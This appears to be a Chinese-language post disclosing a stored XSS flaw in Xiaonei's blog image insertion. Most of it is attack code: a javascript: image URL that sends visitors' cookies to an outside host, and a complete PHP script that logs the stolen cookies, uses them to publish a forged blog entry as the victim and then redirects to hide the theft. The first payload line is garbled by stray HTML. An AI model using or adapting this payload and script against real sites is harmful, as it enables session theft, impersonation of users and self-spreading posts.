校内网在发blog时对插入图片过滤不严格,存在xss漏洞.
校内网在发blog时对插入图片过滤不严格,存在xss漏洞。
在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码
javascript:window.location.href='http://www.xxx.com/test. href="tag.php?name=php">php?cookie='+document.cookie |
javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码
ob_start(); $url = 'blog.xiaonei.com'; $cookie=$_GET['cookie']; $cookie1=$cookie."\r\n\r\n"; fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt //发一条伪造的日志,这条日志里面也可以插入恶意代码 $sock = fsockopen("$url", 80, $errno, $errstr, 30); if (!$sock) die("$errstr ($errno)\n"); $data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0& passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe="; fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n"); fwrite($sock, "Accept: */*\r\n"); fwrite($sock, "Referer: http://$url\r\n"); fwrite($sock, "Accept-Language: zh-cn\r\n"); fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n"); fwrite($sock, "Accept-Encoding: gzip, deflate\r\n"); fwrite($sock, "User-Agent: Mozilla\r\n"); fwrite($sock, "Host: $url\r\n"); fwrite($sock, "Content-Length: ".strlen($data)."\r\n"); fwrite($sock, "Connection: Keep-Alive\r\n"); fwrite($sock, "Cache-Control: no-cache\r\n"); fwrite($sock, "Cookie:".$cookie."\r\n\r\n"); fwrite($sock, $data); $headers = ""; while ($str = trim(fgets($sock, 4096))) $headers .= "$str\n"; echo "\n"; $body = ""; while (!feof($sock)) $body .= fgets($sock, 4096); fclose($sock); //echo $body; //跳转到一个正常的日志 Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx"); ob_end_flush(); ?> |
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